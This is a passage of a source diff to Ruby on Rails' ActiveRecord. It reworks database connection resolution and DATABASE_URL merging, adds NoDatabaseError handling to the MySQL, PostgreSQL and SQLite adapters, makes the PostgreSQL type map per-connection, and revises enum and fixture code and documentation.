+ # Accepts a hash two layers deep, keys on the first layer represent
+ # environments such as "production". Keys must be strings.
+ def initialize(configurations)
@configurations = configurations
end
- def spec
- case config
- when nil
- raise AdapterNotSpecified unless defined?(Rails.env)
- resolve_string_connection Rails.env
- when Symbol, String
- resolve_string_connection config.to_s
- when Hash
- resolve_hash_connection config
+ # Returns a hash with database connection information.
+ #
+ # == Examples
+ #
+ # Full hash Configuration.
+ #
+ # configurations = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+ # Resolver.new(configurations).resolve(:production)
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3"}
+ #
+ # Initialized with URL configuration strings.
+ #
+ # configurations = { "production" => "postgresql://localhost/foo" }
+ # Resolver.new(configurations).resolve(:production)
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+ #
+ def resolve(config)
+ if config
+ resolve_connection config
+ elsif env = ActiveRecord::ConnectionHandling::RAILS_ENV.call
+ resolve_env_connection env.to_sym
+ else
+ raise AdapterNotSpecified
end
end
- private
- def resolve_string_connection(spec) # :nodoc:
- hash = configurations.fetch(spec) do |k|
- connection_url_to_hash(k)
+ # Expands each key in @configurations hash into fully resolved hash
+ def resolve_all
+ config = configurations.dup
+ config.each do |key, value|
+ config[key] = resolve(value) if value
end
-
- raise(AdapterNotSpecified, "#{spec} database is not configured") unless hash
-
- resolve_hash_connection hash
+ config
end
- def resolve_hash_connection(spec) # :nodoc:
- spec = spec.symbolize_keys
+ # Returns an instance of ConnectionSpecification for a given adapter.
+ # Accepts a hash one layer deep that contains all connection information.
+ #
+ # == Example
+ #
+ # config = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+ # spec = Resolver.new(config).spec(:production)
+ # spec.adapter_method
+ # # => "sqlite3"
+ # spec.config
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" }
+ #
+ def spec(config)
+ spec = resolve(config).symbolize_keys
raise(AdapterNotSpecified, "database configuration does not specify adapter") unless spec.key?(:adapter)
@@ -61,35 +166,87 @@ module ActiveRecord
end
adapter_method = "#{spec[:adapter]}_connection"
-
ConnectionSpecification.new(spec, adapter_method)
end
- def connection_url_to_hash(url) # :nodoc:
- config = URI.parse url
- adapter = config.scheme
- adapter = "postgresql" if adapter == "postgres"
- spec = { :adapter => adapter,
- :username => config.user,
- :password => config.password,
- :port => config.port,
- :database => config.path.sub(%r{^/},""),
- :host => config.host }
-
- spec.reject!{ |_,value| value.blank? }
-
- uri_parser = URI::Parser.new
-
- spec.map { |key,value| spec[key] = uri_parser.unescape(value) if value.is_a?(String) }
+ private
- if config.query
- options = Hash[config.query.split("&").map{ |pair| pair.split("=") }].symbolize_keys
+ # Returns fully resolved connection, accepts hash, string or symbol.
+ # Always returns a hash.
+ #
+ # == Examples
+ #
+ # Symbol representing current environment.
+ #
+ # Resolver.new("production" => {}).resolve_connection(:production)
+ # # => {}
+ #
+ # One layer deep hash of connection values.
+ #
+ # Resolver.new({}).resolve_connection("adapter" => "sqlite3")
+ # # => { "adapter" => "sqlite3" }
+ #
+ # Connection URL.
+ #
+ # Resolver.new({}).resolve_connection("postgresql://localhost/foo")
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+ #
+ def resolve_connection(spec)
+ case spec
+ when Symbol, String
+ resolve_env_connection spec
+ when Hash
+ resolve_hash_connection spec
+ end
+ end
- spec.merge!(options)
+ # Takes the environment such as `:production` or `:development`.
+ # This requires that the @configurations was initialized with a key that
+ # matches.
+ #
+ #
+ # Resolver.new("production" => {}).resolve_env_connection(:production)
+ # # => {}
+ #
+ # Takes a connection URL.
+ #
+ # Resolver.new({}).resolve_env_connection("postgresql://localhost/foo")
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+ #
+ def resolve_env_connection(spec)
+ # Rails has historically accepted a string to mean either
+ # an environment key or a URL spec, so we have deprecated
+ # this ambiguous behaviour and in the future this function
+ # can be removed in favor of resolve_string_connection and
+ # resolve_symbol_connection.
+ if config = configurations[spec.to_s]
+ if spec.is_a?(String)
+ ActiveSupport::Deprecation.warn "Passing a string to ActiveRecord::Base.establish_connection " \
+ "for a configuration lookup is deprecated, please pass a symbol (#{spec.to_sym.inspect}) instead"
+ end
+ resolve_connection(config)
+ elsif spec.is_a?(String)
+ resolve_string_connection(spec)
+ else
+ raise(AdapterNotSpecified, "'#{spec}' database is not configured. Available configuration: #{configurations.inspect}")
end
+ end
+ # Accepts a hash. Expands the "url" key that contains a
+ # URL database connection to a full connection
+ # hash and merges with the rest of the hash.
+ # Connection details inside of the "url" key win any merge conflicts
+ def resolve_hash_connection(spec)
+ if url = spec.delete("url")
+ connection_hash = resolve_string_connection(url)
+ spec.merge!(connection_hash)
+ end
spec
end
+
+ def resolve_string_connection(url)
+ ConnectionUrlResolver.new(url).to_hash
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
index e790f731ea..6d8e994654 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
@@ -18,6 +18,12 @@ module ActiveRecord
client = Mysql2::Client.new(config)
options = [config[:host], config[:username], config[:password], config[:database], config[:port], config[:socket], 0]
ConnectionAdapters::Mysql2Adapter.new(client, logger, options, config)
+ rescue Mysql2::Error => error
+ if error.message.include?("Unknown database")
+ raise ActiveRecord::NoDatabaseError.new(error.message)
+ else
+ raise error
+ end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
index c4dcba0501..7dbaa272a3 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
@@ -34,6 +34,12 @@ module ActiveRecord
default_flags |= Mysql::CLIENT_FOUND_ROWS if Mysql.const_defined?(:CLIENT_FOUND_ROWS)
options = [host, username, password, database, port, socket, default_flags]
ConnectionAdapters::MysqlAdapter.new(mysql, logger, options, config)
+ rescue Mysql::Error => error
+ if error.message.include?("Unknown database")
+ raise ActiveRecord::NoDatabaseError.new(error.message)
+ else
+ raise error
+ end
end
end
@@ -419,14 +425,19 @@ module ActiveRecord
if result
types = {}
+ fields = []
result.fetch_fields.each { |field|
+ field_name = field.name
+ fields << field_name
+
if field.decimals > 0
- types[field.name] = Fields::Decimal.new
+ types[field_name] = Fields::Decimal.new
else
- types[field.name] = Fields.find_type field
+ types[field_name] = Fields.find_type field
end
}
- result_set = ActiveRecord::Result.new(types.keys, result.to_a, types)
+
+ result_set = ActiveRecord::Result.new(fields, result.to_a, types)
result.free
else
result_set = ActiveRecord::Result.new([], [])
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb b/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
index bf34f2bdae..35ce881302 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
@@ -144,7 +144,7 @@ module ActiveRecord
def quote_and_escape(value)
case value
- when "NULL"
+ when "NULL", Numeric
value
else
"\"#{value.gsub(/"/,"\\\"")}\""
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
index fa173d13a2..f349c37724 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
@@ -142,7 +142,7 @@ module ActiveRecord
fields.each_with_index do |fname, i|
ftype = result.ftype i
fmod = result.fmod i
- types[fname] = OID::TYPE_MAP.fetch(ftype, fmod) { |oid, mod|
+ types[fname] = type_map.fetch(ftype, fmod) { |oid, mod|
warn "unknown OID: #{fname}(#{oid}) (#{sql})"
OID::Identity.new
}
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
index 2a9547fd10..fae260a921 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
@@ -301,11 +301,9 @@ module ActiveRecord
end
end
- TYPE_MAP = TypeMap.new # :nodoc:
-
- # When the PG adapter connects, the pg_type table is queried. The
+ # When the PG adapter connects, the pg_type table is queried. The
# key of this hash maps to the `typname` column from the table.
- # TYPE_MAP is then dynamically built with oids as the key and type
+ # type_map is then dynamically built with oids as the key and type
# objects as values.
NAMES = Hash.new { |h,k| # :nodoc:
h[k] = OID::Identity.new
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
index 5dc70a5ad1..571257f6dd 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
@@ -172,7 +172,7 @@ module ActiveRecord
def columns(table_name)
# Limit, precision, and scale are all handled by the superclass.
column_definitions(table_name).map do |column_name, type, default, notnull, oid, fmod|
- oid = OID::TYPE_MAP.fetch(oid.to_i, fmod.to_i) {
+ oid = type_map.fetch(oid.to_i, fmod.to_i) {
OID::Identity.new
}
PostgreSQLColumn.new(column_name, default, oid, type, notnull == 'f')
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index adeb57d913..7e188907e1 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -46,7 +46,7 @@ module ActiveRecord
# PostgreSQL-specific extensions to column definitions in a table.
class PostgreSQLColumn < Column #:nodoc:
attr_accessor :array
- # Instantiates a new PostgreSQL column definition in a table.
+
def initialize(name, default, oid_type, sql_type = nil, null = true)
@oid_type = oid_type
default_value = self.class.extract_value_from_default(default)
@@ -62,6 +62,14 @@ module ActiveRecord
@default_function = default if has_default_function?(default_value, default)
end
+ def number?
+ !array && super
+ end
+
+ def text?
+ !array && super
+ end
+
# :stopdoc:
class << self
include ConnectionAdapters::PostgreSQLColumn::Cast
@@ -565,7 +573,8 @@ module ActiveRecord
raise "Your version of PostgreSQL (#{postgresql_version}) is too old, please upgrade!"
end
- initialize_type_map
+ @type_map = OID::TypeMap.new
+ initialize_type_map(type_map)
@local_tz = execute('SHOW TIME ZONE', 'SCHEMA').first["TimeZone"]
@use_insert_returning = @config.key?(:insert_returning) ? self.class.type_cast_config_to_boolean(@config[:insert_returning]) : true
end
@@ -712,6 +721,10 @@ module ActiveRecord
!native_database_types[type].nil?
end
+ def update_table_definition(table_name, base) #:nodoc:
+ Table.new(table_name, base)
+ end
+
protected
# Returns the version of the connected PostgreSQL server.
@@ -738,43 +751,60 @@ module ActiveRecord
private
+ def type_map
+ @type_map
+ end
+
def reload_type_map
- OID::TYPE_MAP.clear
- initialize_type_map
+ type_map.clear
+ initialize_type_map(type_map)
+ end
+
+ def add_oid(row, records_by_oid, type_map)
+ return type_map if type_map.key? row['type_elem'].to_i
+
+ if OID.registered_type? row['typname']
+ # this composite type is explicitly registered
+ vector = OID::NAMES[row['typname']]
+ else
+ # use the default for composite types
+ unless type_map.key? row['typelem'].to_i
+ add_oid records_by_oid[row['typelem']], records_by_oid, type_map
+ end
+
+ vector = OID::Vector.new row['typdelim'], type_map[row['typelem'].to_i]
+ end
+
+ type_map[row['oid'].to_i] = vector
+ type_map
end
- def initialize_type_map
+ def initialize_type_map(type_map)
result = execute('SELECT oid, typname, typelem, typdelim, typinput FROM pg_type', 'SCHEMA')
leaves, nodes = result.partition { |row| row['typelem'] == '0' }
# populate the leaf nodes
leaves.find_all { |row| OID.registered_type? row['typname'] }.each do |row|
- OID::TYPE_MAP[row['oid'].to_i] = OID::NAMES[row['typname']]
+ type_map[row['oid'].to_i] = OID::NAMES[row['typname']]
end
+ records_by_oid = result.group_by { |row| row['oid'] }
+
arrays, nodes = nodes.partition { |row| row['typinput'] == 'array_in' }
# populate composite types
- nodes.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
- if OID.registered_type? row['typname']
- # this composite type is explicitly registered
- vector = OID::NAMES[row['typname']]
- else
- # use the default for composite types
- vector = OID::Vector.new row['typdelim'], OID::TYPE_MAP[row['typelem'].to_i]
- end
-
- OID::TYPE_MAP[row['oid'].to_i] = vector
+ nodes.each do |row|
+ add_oid row, records_by_oid, type_map
end
# populate array types
- arrays.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
- array = OID::Array.new OID::TYPE_MAP[row['typelem'].to_i]
- OID::TYPE_MAP[row['oid'].to_i] = array
+ arrays.find_all { |row| type_map.key? row['typelem'].to_i }.each do |row|
+ array = OID::Array.new type_map[row['typelem'].to_i]
+ type_map[row['oid'].to_i] = array
end
end
- FEATURE_NOT_SUPPORTED = "0A000" # :nodoc:
+ FEATURE_NOT_SUPPORTED = "0A000" #:nodoc:
def exec_no_cache(sql, name, binds)
log(sql, name, binds) { @connection.async_exec(sql) }
@@ -847,6 +877,12 @@ module ActiveRecord
PostgreSQLColumn.money_precision = (postgresql_version >= 80300) ? 19 : 10
configure_connection
+ rescue ::PG::Error => error
+ if error.message.include?("does not exist")
+ raise ActiveRecord::NoDatabaseError.new(error.message)
+ else
+ raise error
+ end
end
# Configures the encoding, verbosity, schema search path, and time zone of the connection.
@@ -951,16 +987,12 @@ module ActiveRecord
end
def extract_table_ref_from_insert_sql(sql)
- sql[/into\s+([^\(]*).*values\s*\(/i]
+ sql[/into\s+([^\(]*).*values\s*\(/im]
$1.strip if $1
end
- def create_table_definition(name, temporary, options)
- TableDefinition.new native_database_types, name, temporary, options
- end
-
- def update_table_definition(table_name, base)
- Table.new(table_name, base)
+ def create_table_definition(name, temporary, options, as = nil)
+ TableDefinition.new native_database_types, name, temporary, options, as
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
index 2cf1015f2c..92bb70ba53 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -31,6 +31,12 @@ module ActiveRecord
db.busy_timeout(ConnectionAdapters::SQLite3Adapter.type_cast_config_to_integer(config[:timeout])) if config[:timeout]
ConnectionAdapters::SQLite3Adapter.new(db, logger, config)
+ rescue Errno::ENOENT => error
+ if error.message.include?("No such file or directory")
+ raise ActiveRecord::NoDatabaseError.new(error.message)
+ else
+ raise error
+ end
end
end
@@ -586,7 +592,11 @@ module ActiveRecord
def translate_exception(exception, message)
case exception.message
- when /column(s)? .* (is|are) not unique/
+ # SQLite 3.8.2 returns a newly formatted error message:
+ # UNIQUE constraint failed: *table_name*.*column_name*
+ # Older versions of SQLite return:
+ # column *column_name* is not unique
+ when /column(s)? .* (is|are) not unique/, /UNIQUE constraint failed: .*/
RecordNotUnique.new(message, exception)
else
super
diff --git a/activerecord/lib/active_record/connection_handling.rb b/activerecord/lib/active_record/connection_handling.rb
index a1943dfcb0..11f6a47158 100644
--- a/activerecord/lib/active_record/connection_handling.rb
+++ b/activerecord/lib/active_record/connection_handling.rb
@@ -1,5 +1,8 @@
module ActiveRecord
module ConnectionHandling
+ RAILS_ENV = -> { Rails.env if defined?(Rails) }
+ DEFAULT_ENV = -> { RAILS_ENV.call || "default_env" }
+
# Establishes the connection to the database. Accepts a hash as input where
# the <tt>:adapter</tt> key must be specified with the name of a database adapter (in lower-case)
# example for regular databases (MySQL, Postgresql, etc):
@@ -32,11 +35,19 @@ module ActiveRecord
# "postgres://myuser:mypass@localhost/somedatabase"
# )
#
+ # In case <tt>ActiveRecord::Base.configurations</tt> is set (Rails
+ # automatically loads the contents of config/database.yml into it),
+ # a symbol can also be given as argument, representing a key in the
+ # configuration hash:
+ #
+ # ActiveRecord::Base.establish_connection(:production)
+ #
# The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError
# may be returned on an error.
- def establish_connection(spec = ENV["DATABASE_URL"])
- resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new spec, configurations
- spec = resolver.spec
+ def establish_connection(spec = nil)
+ spec ||= DEFAULT_ENV.call.to_sym
+ resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new configurations
+ spec = resolver.spec(spec)
unless respond_to?(spec.adapter_method)
raise AdapterNotFound, "database configuration specifies nonexistent #{spec.config[:adapter]} adapter"
@@ -46,6 +57,56 @@ module ActiveRecord
connection_handler.establish_connection self, spec
end
+ class MergeAndResolveDefaultUrlConfig # :nodoc:
+ def initialize(raw_configurations, url = ENV['DATABASE_URL'])
+ @raw_config = raw_configurations.dup
+ @url = url
+ end
+
+ # Returns fully resolved connection hashes.
+ # Merges connection information from `ENV['DATABASE_URL']` if available.
+ def resolve
+ ConnectionAdapters::ConnectionSpecification::Resolver.new(config).resolve_all
+ end
+
+ private
+ def config
+ if @url
+ raw_merged_into_default
+ else
+ @raw_config
+ end
+ end
+
+ def raw_merged_into_default
+ default = default_url_hash
+
+ @raw_config.each do |env, values|
+ default[env] = values || {}
+ default[env].merge!("url" => @url) { |h, v1, v2| v1 || v2 } if default[env].is_a?(Hash)
+ end
+ default
+ end
+
+ # When the raw configuration is not present and ENV['DATABASE_URL']
+ # is available we return a hash with the connection information in
+ # the connection URL. This hash responds to any string key with
+ # resolved connection information.
+ def default_url_hash
+ if @raw_config.blank?
+ Hash.new do |hash, key|
+ hash[key] = if key.is_a? String
+ ActiveRecord::ConnectionAdapters::ConnectionSpecification::ConnectionUrlResolver.new(@url).to_hash
+ else
+ nil
+ end
+ end
+ else
+ {}
+ end
+ end
+ end
+
# Returns the connection currently associated with the class. This can
# also be used to "borrow" the connection to do database work unrelated
# to any of the specific Active Records.
diff --git a/activerecord/lib/active_record/core.rb b/activerecord/lib/active_record/core.rb
index 8808ad5a4c..cd8690d500 100644
--- a/activerecord/lib/active_record/core.rb
+++ b/activerecord/lib/active_record/core.rb
@@ -42,9 +42,16 @@ module ActiveRecord
# 'database' => 'db/production.sqlite3'
# }
# }
- mattr_accessor :configurations, instance_writer: false
+ def self.configurations=(config)
+ @@configurations = ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve
+ end
self.configurations = {}
+ # Returns fully resolved configurations hash
+ def self.configurations
+ @@configurations
+ end
+
##
# :singleton-method:
# Determines whether to use Time.utc (using :utc) or Time.local (using :local) when pulling
@@ -69,6 +76,9 @@ module ActiveRecord
mattr_accessor :timestamped_migrations, instance_writer: false
self.timestamped_migrations = true
+ # :nodoc:
+ mattr_accessor :maintain_test_schema, instance_accessor: false
+
def self.disable_implicit_join_references=(value)
ActiveSupport::Deprecation.warn("Implicit join references were removed with Rails 4.1." \
"Make sure to remove this configuration because it does nothing.")
diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb
index 7e3bef9431..dcbdf75627 100644
--- a/activerecord/lib/active_record/counter_cache.rb
+++ b/activerecord/lib/active_record/counter_cache.rb
@@ -82,10 +82,10 @@ module ActiveRecord
# Increment a numeric field by one, via a direct SQL update.
#
- # This method is used primarily for maintaining counter_cache columns used to
- # store aggregate values. For example, a DiscussionBoard may cache posts_count
- # and comments_count to avoid running an SQL query to calculate the number of
- # posts and comments there are each time it is displayed.
+ # This method is used primarily for maintaining counter_cache columns that are
+ # used to store aggregate values. For example, a DiscussionBoard may cache
+ # posts_count and comments_count to avoid running an SQL query to calculate the
+ # number of posts and comments there are, each time it is displayed.
#
# ==== Parameters
#
diff --git a/activerecord/lib/active_record/dynamic_matchers.rb b/activerecord/lib/active_record/dynamic_matchers.rb
index e650ebcf64..5caab09038 100644
--- a/activerecord/lib/active_record/dynamic_matchers.rb
+++ b/activerecord/lib/active_record/dynamic_matchers.rb
@@ -84,13 +84,18 @@ module ActiveRecord
"#{finder}(#{attributes_hash})"
end
+ # The parameters in the signature may have reserved Ruby words, in order
+ # to prevent errors, we start each param name with `_`.
+ #
# Extended in activerecord-deprecated_finders
def signature
- attribute_names.join(', ')
+ attribute_names.map { |name| "_#{name}" }.join(', ')
end
+ # Given that the parameters starts with `_`, the finder needs to use the
+ # same parameter name.
def attributes_hash
- "{" + attribute_names.map { |name| ":#{name} => #{name}" }.join(',') + "}"
+ "{" + attribute_names.map { |name| ":#{name} => _#{name}" }.join(',') + "}"
end
def finder
diff --git a/activerecord/lib/active_record/enum.rb b/activerecord/lib/active_record/enum.rb
index 5fcc0382d8..9ad718a02a 100644
--- a/activerecord/lib/active_record/enum.rb
+++ b/activerecord/lib/active_record/enum.rb
@@ -1,5 +1,6 @@
module ActiveRecord
- # Declare an enum attribute where the values map to integers in the database, but can be queried by name. Example:
+ # Declare an enum attribute where the values map to integers in the database,
+ # but can be queried by name. Example:
#
# class Conversation < ActiveRecord::Base
# enum status: [ :active, :archived ]
@@ -18,6 +19,15 @@ module ActiveRecord
# # conversation.update! status: 1
# conversation.status = "archived"
#
+ # # conversation.update! status: nil
+ # conversation.status = nil
+ # conversation.status.nil? # => true
+ # conversation.status # => nil
+ #
+ # Scopes based on the allowed values of the enum field will be provided
+ # as well. With the above example, it will create an +active+ and +archived+
+ # scope.
+ #
# You can set the default value from the database declaration, like:
#
# create_table :conversations do |t|
@@ -26,12 +36,23 @@ module ActiveRecord
#
# Good practice is to let the first declared status be the default.
#
- # Finally, it's also possible to explicitly map the relation between attribute and database integer:
+ # Finally, it's also possible to explicitly map the relation between attribute and
+ # database integer with a +Hash+:
#
# class Conversation < ActiveRecord::Base
# enum status: { active: 0, archived: 1 }
# end
#
+ # Note that when an +Array+ is used, the implicit mapping from the values to database
+ # integers is derived from the order the values appear in the array. In the example,
+ # <tt>:active</tt> is mapped to +0+ as it's the first element, and <tt>:archived</tt>
+ # is mapped to +1+. In general, the +i+-th element is mapped to <tt>i-1</tt> in the
+ # database.
+ #
+ # Therefore, once a value is added to the enum array, its position in the array must
+ # be maintained, and new values should only be added to the end of the array. To
+ # remove unused values, the explicit +Hash+ syntax should be used.
+ #
# In rare circumstances you might need to access the mapping directly.
# The mappings are exposed through a constant with the attributes name:
#
@@ -44,45 +65,52 @@ module ActiveRecord
def enum(definitions)
klass = self
definitions.each do |name, values|
- # DIRECTION = { }
+ # STATUS = { }
enum_values = _enum_methods_module.const_set name.to_s.upcase, ActiveSupport::HashWithIndifferentAccess.new
name = name.to_sym
_enum_methods_module.module_eval do
- # def direction=(value) self[:direction] = DIRECTION[value] end
+ # def status=(value) self[:status] = STATUS[value] end
define_method("#{name}=") { |value|
- unless enum_values.has_key?(value)
+ if enum_values.has_key?(value) || value.blank?
+ self[name] = enum_values[value]
+ elsif enum_values.has_value?(value)
+ # Assigning a value directly is not a end-user feature, hence it's not documented.
+ # This is used internally to make building objects from the generated scopes work
+ # as expected, i.e. +Conversation.archived.build.archived?+ should be true.
+ self[name] = value
+ else
raise ArgumentError, "'#{value}' is not a valid #{name}"
end
- self[name] = enum_values[value]
}
- # def direction() DIRECTION.key self[:direction] end
+ # def status() STATUS.key self[:status] end
define_method(name) { enum_values.key self[name] }
pairs = values.respond_to?(:each_pair) ? values.each_pair : values.each_with_index
pairs.each do |value, i|
enum_values[value] = i
- # scope :incoming, -> { where direction: 0 }
+ # scope :active, -> { where status: 0 }
klass.scope value, -> { klass.where name => i }
- # def incoming?() direction == 0 end
+ # def active?() status == 0 end
define_method("#{value}?") { self[name] == i }
- # def incoming! update! direction: :incoming end
+ # def active!() update! status: :active end
define_method("#{value}!") { update! name => value }
end
end
end
end
- def _enum_methods_module
- @_enum_methods_module ||= begin
- mod = Module.new
- include mod
- mod
+ private
+ def _enum_methods_module
+ @_enum_methods_module ||= begin
+ mod = Module.new
+ include mod
+ mod
+ end
end
- end
end
end
diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb
index 7e38719811..7f6228131f 100644
--- a/activerecord/lib/active_record/errors.rb
+++ b/activerecord/lib/active_record/errors.rb
@@ -94,6 +94,18 @@ module ActiveRecord
class PreparedStatementInvalid < ActiveRecordError
end
+ # Raised when a given database does not exist
+ class NoDatabaseError < ActiveRecordError
+ def initialize(message)
+ super extend_message(message)
+ end
+
+ # can be over written to add additional error information.
+ def extend_message(message)
+ message
+ end
+ end
+
# Raised on attempt to save stale record. Record is stale when it's being saved in another query after
# instantiation, for example, when two users edit the same wiki page and one starts editing and saves
# the page before the other.
@@ -188,7 +200,7 @@ module ActiveRecord
end
end
- # Raised when a primary key is needed, but there is not one specified in the schema or model.
+ # Raised when a primary key is needed, but not specified in the schema or model.
class UnknownPrimaryKey < ActiveRecordError
attr_reader :model
diff --git a/activerecord/lib/active_record/fixture_set/file.rb b/activerecord/lib/active_record/fixture_set/file.rb
index fbd7a4d891..8132310c91 100644
--- a/activerecord/lib/active_record/fixture_set/file.rb
+++ b/activerecord/lib/active_record/fixture_set/file.rb
@@ -38,7 +38,8 @@ module ActiveRecord
end
def render(content)
- ERB.new(content).result
+ context = ActiveRecord::FixtureSet::RenderContext.create_subclass.new
+ ERB.new(content).result(context.get_binding)
end
# Validate our unmarshalled data.
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index 8601414209..fee3f51d9e 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -119,6 +119,23 @@ module ActiveRecord
# perhaps you should reexamine whether your application is properly testable. Hence, dynamic values
# in fixtures are to be considered a code smell.
#
+ # Helper methods defined in a fixture will not be available in other fixtures, to prevent against
+ # unwanted inter-test dependencies. Methods used by multiple fixtures should be defined in a module
+ # that is included in <tt>ActiveRecord::FixtureSet.context_class</tt>.
+ #
+ # - define a helper method in `test_helper.rb`
+ # class FixtureFileHelpers
+ # def file_sha(path)
+ # Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+ # end
+ # end
+ # ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers
+ #
+ # - use the helper method in a fixture
+ # photo:
+ # name: kitten.png
+ # sha: <%= file_sha 'files/kitten.png' %>
+ #
# = Transactional Fixtures
#
# Test cases can use begin+rollback to isolate their changes to the database instead of having to
@@ -504,8 +521,16 @@ module ActiveRecord
connection.transaction(:requires_new => true) do
fixture_sets.each do |fs|
conn = fs.model_class.respond_to?(:connection) ? fs.model_class.connection : connection
- fs.fixture_sql(conn).each do |stmt|
- conn.execute stmt
+ table_rows = fs.table_rows
+
+ table_rows.keys.each do |table|
+ conn.delete "DELETE FROM #{conn.quote_table_name(table)}", 'Fixture Delete'
+ end
+
+ table_rows.each do |fixture_set_name, rows|
+ rows.each do |row|
+ conn.insert_fixture(row, fixture_set_name)
+ end
end
end
@@ -529,6 +554,11 @@ module ActiveRecord
Zlib.crc32(label.to_s) % MAX_ID
end
+ # Superclass for the evaluation contexts used by ERB fixtures.
+ def self.context_class
+ @context_class ||= Class.new
+ end
+
attr_reader :table_name, :name, :fixtures, :model_class, :config
def initialize(connection, name, class_name, path, config = ActiveRecord::Base)
@@ -572,17 +602,7 @@ module ActiveRecord
fixtures.size
end
- def fixture_sql(conn)
- table_rows = self.table_rows
-
- table_rows.keys.map { |table|
- "DELETE FROM #{conn.quote_table_name(table)}"
- }.concat table_rows.flat_map { |fixture_set_name, rows|
- rows.map { |row| conn.fixture_sql(row, fixture_set_name) }
- }
- end
-
- # Return a hash of rows to be inserted. The key is the table, the value is
+ # Returns a hash of rows to be inserted. The key is the table, the value is
# a list of rows to insert to that table.
def table_rows
now = config.default_timezone == :utc ? Time.now.utc : Time.now
@@ -989,3 +1009,13 @@ module ActiveRecord
end
end
end
+
+class ActiveRecord::FixtureSet::RenderContext # :nodoc:
+ def self.create_subclass
+ Class.new ActiveRecord::FixtureSet.context_class do
+ def get_binding
+ binding()
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/inheritance.rb b/activerecord/lib/active_record/inheritance.rb
index 7e1e120288..949e7678a5 100644
--- a/activerecord/lib/active_record/inheritance.rb
+++ b/activerecord/lib/active_record/inheritance.rb
@@ -16,7 +16,7 @@ module ActiveRecord
# instance of the given subclass instead of the base class.
def new(*args, &block)
if abstract_class? || self == Base
- raise NotImplementedError, "#{self} is an abstract class and can not be instantiated."
+ raise NotImplementedError, "#{self} is an abstract class and cannot be instantiated."
end
if (attrs = args.first).is_a?(Hash)
if subclass = subclass_from_attrs(attrs)
@@ -45,10 +45,12 @@ module ActiveRecord
end
def symbolized_base_class
+ ActiveSupport::Deprecation.warn("ActiveRecord::Base.symbolized_base_class is deprecated and will be removed without replacement.")
@symbolized_base_class ||= base_class.to_s.to_sym
end
def symbolized_sti_name
+ ActiveSupport::Deprecation.warn("ActiveRecord::Base.symbolized_sti_name is deprecated and will be removed without replacement.")
@symbolized_sti_name ||= sti_name.present? ? sti_name.to_sym : symbolized_base_class
end
diff --git a/activerecord/lib/active_record/integration.rb b/activerecord/lib/active_record/integration.rb
index 27576b1e61..31e2518540 100644
--- a/activerecord/lib/active_record/integration.rb
+++ b/activerecord/lib/active_record/integration.rb
@@ -98,8 +98,10 @@ module ActiveRecord
super()
else
define_method :to_param do
- if (default = super()) && (result = send(method_name).to_s).present?
- "#{default}-#{result.squish.truncate(20, separator: /\s/, omission: nil).parameterize}"
+ if (default = super()) &&
+ (result = send(method_name).to_s).present? &&
+ (param = result.squish.truncate(20, separator: /\s/, omission: nil).parameterize).present?
+ "#{default}-#{param}"
else
default
end
